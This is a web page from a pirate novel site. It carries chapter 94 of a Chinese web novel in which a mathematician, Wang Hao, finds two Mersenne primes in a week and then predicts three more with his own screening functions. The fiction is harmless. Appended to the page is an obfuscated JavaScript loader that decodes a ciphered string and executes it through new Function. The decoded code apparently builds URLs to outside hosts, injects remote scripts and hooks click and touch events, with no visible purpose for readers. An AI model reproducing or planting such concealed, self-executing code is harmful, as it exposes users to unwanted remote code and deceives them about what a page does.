首页
第九十四章 这些都是梅森素数
返回
关灯 护眼:关 字号:小

第九十四章 这些都是梅森素数!

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    gimps论坛,爆了。
    论坛上发布的帖子内容,都和新发现的梅森素数有关。
    每个人都在讨论着。
    所有的消息都离不开‘新梅森素数’、‘连续发现两个梅森素数’、‘中国志愿者王浩’等关键词和内容。
    每一个了解梅森素数、了解发现检测机制的人,都感觉非常的不可思议。
    从gimps成立到现在,20多年的时间里,也只找到了17个梅森素数,其中有14个都是在10年以前发现的,近十年也只找到了3个梅森素数。
    这是因为越往后的梅森数,检测和计算量就会越大,千万位梅森数和百万位梅森数,检测需求上当然不是同一个级别。
    计算机硬件的发展速度非常快,几年就会有一次更新换代,但依旧远远赶不上梅森数检测需求的膨胀速度。
    现在每检测一个梅森数,都需要普通电脑运行几个月时间,gimps参与者用个人电脑完成几个梅森数的检测,就已经很了不起,更不用说找到梅森素数了。
    但是,这位来自中国的志愿者王浩,却在短短一个星期之内就找到了两个梅森素数。
    gimps论坛的成员们,首先排除了黑客入侵的因素,他们中很多都是数学家、计算机专家,只看一下网站情况,就知道并没有黑客入侵迹象,正常情况下,也不会有黑客去入侵信息全部公开的分布式计算网络。
    那没有任何意义。
    网站、软件错误也可以排除,因为有负责人站出来,说明网站、软件没有任何错误。
    “网站上显示新梅森素数的消息,是软件检测信息自动上报、自动更新的信息。”布洛瑟负责网站维护、软件更新,他看到了信息也感到很不可思议,还是发了个帖子做出澄清。
    布洛瑟的说明也彻底排除了出错的可能,换句话说,显示的新梅森素数很可能是真的。
    好多人都感到不能接受。
    人的运气怎么能好到这个地步呢?
    有人发帖指出,“这位来自中国的王浩是一个数学家,而且是有一定名气的,我查了一下,他在国际会议上,完成的阿廷常数证明很有影响力,会不会是他破解了梅森素数的奥秘,知道哪些会是梅森素数?”
    下面顿时有好几个数学家站出来反驳,“这是不可能的,梅森素数没有规律。”
    “我宁愿相信他是运气好,也不相信他能够破解梅森素数的规律。”
    “连续找到梅森素数是有可能的,但找到梅森素数的规律是绝对不可能的。我从事数学研究二十多年,对梅森素数非常的了解,这一类数在梅森数中,就像是普通素数在数字中一样,根本就不可能有固定出现的规律。”
    论坛上许多人针对的讨论起来。
    柯蒂斯-库珀同样是个数学家,他也对此发表了自己的看法,“我也认为不可能。这是运气,但也有他对梅森数的了解因素。”
    后者很关键。
    找到梅森素数的人中有牙医、快递员,或者其他什么人,但大部分还是数学家、计算机专家。
    柯蒂斯-库珀也发现过梅森素数,他就是依靠自己对于数学的了解,筛选出了一部分数字,自定义做分析检测。
    其他梅森素数的发现,也多是通过自定义检测找到的,只有完全不懂的外行人,或者只是利用程序做系统压力测试,才会依照系统所分配的数字去做检测。
    柯蒂斯-库珀的说法赢得了不少数学家、计算机专家的支持,但同时他们也依旧认为,王浩的运气实在好到了爆炸。
    即便对梅森数有很深入的研究,但要知道梅森素数在梅森数中是非常稀少的。
    比如,一千万以下的质数有六十六万四千五百多个,以它们为‘指数’对应的梅森数中,就只有三十八个是梅森素数,几率连万分之一都不到。
    如果是筛选五千万以上的素数做检测,对应梅森素数出现的概率就更低,几十万个数只有两、三个,甚至可能完全没有。
    这个几率,说是大海捞针一点都不为过。
    另一边,西海大学的夜。
    计算机实验楼顶层忽然传出了一声呼喊,“啊~~~”
    楼里的几个人赶紧到中心实验室查看,就见到了兴奋状态中的张志强,“你们来了,快来看!新的梅森素数,找到了!”
    “我刚才都已经睡着了,正好梦见找到了梅森素数,就过来看一眼,没想到还真找到了!”
    “这是第二个了!”
    张志强顶着通红的双眼兴奋的说着,其他人都能够理解他的情绪,想找一个梅森素数实在太难了,结果一个星期内找到了两个。
    虽然不是张志强的成果,但他也算是贡献第二人了。
    其他人也兴奋的谈论起来,“第二个梅森素数了,这下可真是了不起了。”
    “估计明天舆论会炸!”
    “这次我们计算机实验室,绝对是大出风头了,不只是国内,国际都会很知名!”
    “你们看看,gimps论坛已经疯了,都在说这个话题。”
    他们讨论着干脆留在了计算机实验室,一直蹲守在那里,等待着第二天的到来,彷佛是怕数字长腿跑了一样。
    早上的时候,已经有媒体注意到消息开始报道了。
    多数报道有些不确定,“西海大学王浩教授,疑似找到了两个梅森素数。”
    “gimps出现了震撼消息,一星期之内,疑似检测到两个梅森素数,发现人都是西海大学的王浩教授。”
    “这是错误,还是真实信息?gimps宣布对第二个梅森素数进行检测……”
    这件事甚至上了网络热搜,舆论比上一次还要火爆。
    之前发现了一个梅森素数,就是寻找梅森素数的一个进展,只一个星期时间内,又发现了新的梅森素数,发现人依旧是王浩,事情就变得很不一般了。
    同一个人找到两个梅森素数,历史上也是有发生的。
    比如,第43和第44个梅森素数,就都是同一团队使用gimps发现的,但中途时间间隔也长达九个月时间。
    现在只是一个星期内,快速发现两个梅森素数,已经超出了‘正常范畴’。
    有人提出是否是进行了覆盖运算。
    有专业的计算机专家,当即站出来指出,“即便是使用高性能的超算,对于六千万到七千万区间指数对应梅森数进行覆盖检测,需要的时间也会长达10万个小时以上。”
    “显然,那是不可能的。”
    于是舆论都关注起了西海大学,关注起发现两个梅森素数的王浩。
    早上八点钟,王浩准时来到了计算机实验室。
    他提前知道了发现第二个梅森素数,但也并不感到意外,只是过去转了一圈,和几个熟悉的人谈了几句,记下了具体数字以后,就赶紧去工作间做验证。
    王浩已经塑造好了两个函数。
    一个是验证函数,可以代入素数计算坐标,另一个是判定函数,可以判定坐标是否在区域内或边缘线上,前者说明‘是梅森素数的几率大’,后者则说明‘一定是梅森素数’。
    在代入新发现的梅森素数后,很遗憾的是,对应函数的坐标,出现在了判定函数覆盖范围内,却没有出现在判定函数覆盖区域的边缘线上。
    “看来还是要用计算机手段做验证,接下来的工作,数学研究已经解决不了了。”
    王浩思考着开始写起了程序,他要做一个‘函数验证’的程序,就是把一个个指数代入到函数中,计算它们所对应的梅森数所对应的坐标,是否在判定函数覆盖的区域内。
    因为两个函数都比较复杂,程序设计起来也很不容易。
    好在王浩自己塑造的函数,对代入数值后的求解方法很了解,他用了一个上午的时间,终于完成了程序所有的设计。
    然后他去了中心实验室。
    这时候,中心实验室依旧非常热闹,不止是计算机实验室的人,还有其他学院的人过来,学校好几个领导都过来一趟,特别关注了一下发现梅森素数问题,他们知道王浩在忙着研究什么,也没有过去打扰。
    楼道里。
    陈庆华、朱建荣以及栾海平正站在一起,讨论着学校发布公告信息的事情。
    陈庆华想让朱建荣拟稿的时候,多提起计算机实验室,最好是对王浩的所属进行‘模湖处理’,让看到消息的人,以为王浩就是计算机实验室的研究院、计算机学院的教授。
    旁边,栾海平黑着脸听着,恶狠狠的眼神似乎透露着,都有种把陈庆华掐死的冲动,他不断的反对着,“王浩是理学院的教授,就算不谈学院,也不能说他是计算机学院的啊?这不等于是骗人吗?”
    “什么骗人?”
    陈庆华马上质问三连,“王浩是不是一直在计算机实验室?两个梅森素数是不是在计算机实验室发现的?所以发布的成果公告上写,计算机实验室的王浩教授,能有什么问题?”
    “额~~~”
    王浩走过来站在旁边。
    陈庆华注意到王浩顿时有点尴尬,马上道,“王浩也来了,我就直白的说,我们不是要把他挖到计算机实验室,而是,针对这个成果,是在我们计算机实验室完成的,公告谈什么理学院也没有意义,对吧?”
    “怎么没意义?很有意义,理学院也需要……”栾海平立刻进行了反驳。
    王浩倒是对什么计算机学院、理学院不感兴趣,反正只是学校的一条公告而已,他干脆完全当做没看见,轻飘飘的从旁边走了过去。
    他是来找张志强的。
    张志强依旧顶着通红的双眼,从凌晨三点到现在,他就一直没有休息过。
    王浩劝了一句,“赶紧回去睡一觉,找到梅森素数值得高兴,但也别这样啊……”
    “放心吧,还能坚持!”
    张志强满是不在意的说道,他确实感到非常疲惫,也想着一会去办公室眯一会儿。
    现在还有事。
    “把检测程序停下来,先计算这个……”
    王浩把写好的代码,拷贝到了电脑里,简单解释道,“这是对梅森数的筛选程序,可以说就是对之前程序的优化,也许会变得更精准吧。”
    他有些不确定。
    在结果没有百分之百出来之前,他也不敢说自己做的研究就是正确的。
    张志强顿时重新打起精神,停掉了一直在运行的检测程序,开始执行刚拷贝的代码。
    一亿以下的质数作为数据录入,输出端则有三个文件。
    第一个文件记录的是处在判定函数边缘线的‘指数p’以及对应坐标。
    第二个文件记录的是,处在判定函数覆盖范围内的‘指数p’、对应坐标以及到边缘线的最近距离。
    第三个文件,则是剩余被排除的素数、对应坐标,以及到边缘线的最短距离。
    函数比较复杂、程序也比较复杂,需求的计算量就非常庞大,即便是以现有的计算能力,全部执行完也需要三个小时以上。
    张志强被推着去休息了。
    王浩干脆等在了电脑前,一直看着程序执行,等待着输出结果。
    ……
    下午两点钟,陈庆华和朱建荣一起到中心实验室,找到王浩并递给他一份手写的公告。
    “我们讨论来讨论去,还是想着让你看看,你是当事人,看这份公告怎么样?”
    “你说行,我们就发了。”陈庆华很认真的看向王浩,公告里面说的是‘王浩教授在计算机实验室工作,并连续找到了两个梅森素数’。
    这个模湖的说法,听起来好像是说,王浩就是计算机实验室的研究员。
    王浩对此并不在意,他只是扫了一眼,把手写公告扔在旁边,开口道,“陈院长,朱主任,先别急着发公告,只是两个梅森素数而已。”
    “……而已?”陈庆华满眼不解。
    朱建荣也用力扯了扯嘴角,发现两个梅森素数,还只是‘而已’,口气也太大了吧?
    王浩没理会他们的反应,而是打开了电脑中的一个文件,上面记录了十一个数字,其中有八个标准红色字体,剩下的三个则还是黑色。
    他指着三个黑色的数字,认真道,“这三个,作为梅森数的指数,验证一下。”
    “如果不出意外,应该都是梅森素数。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();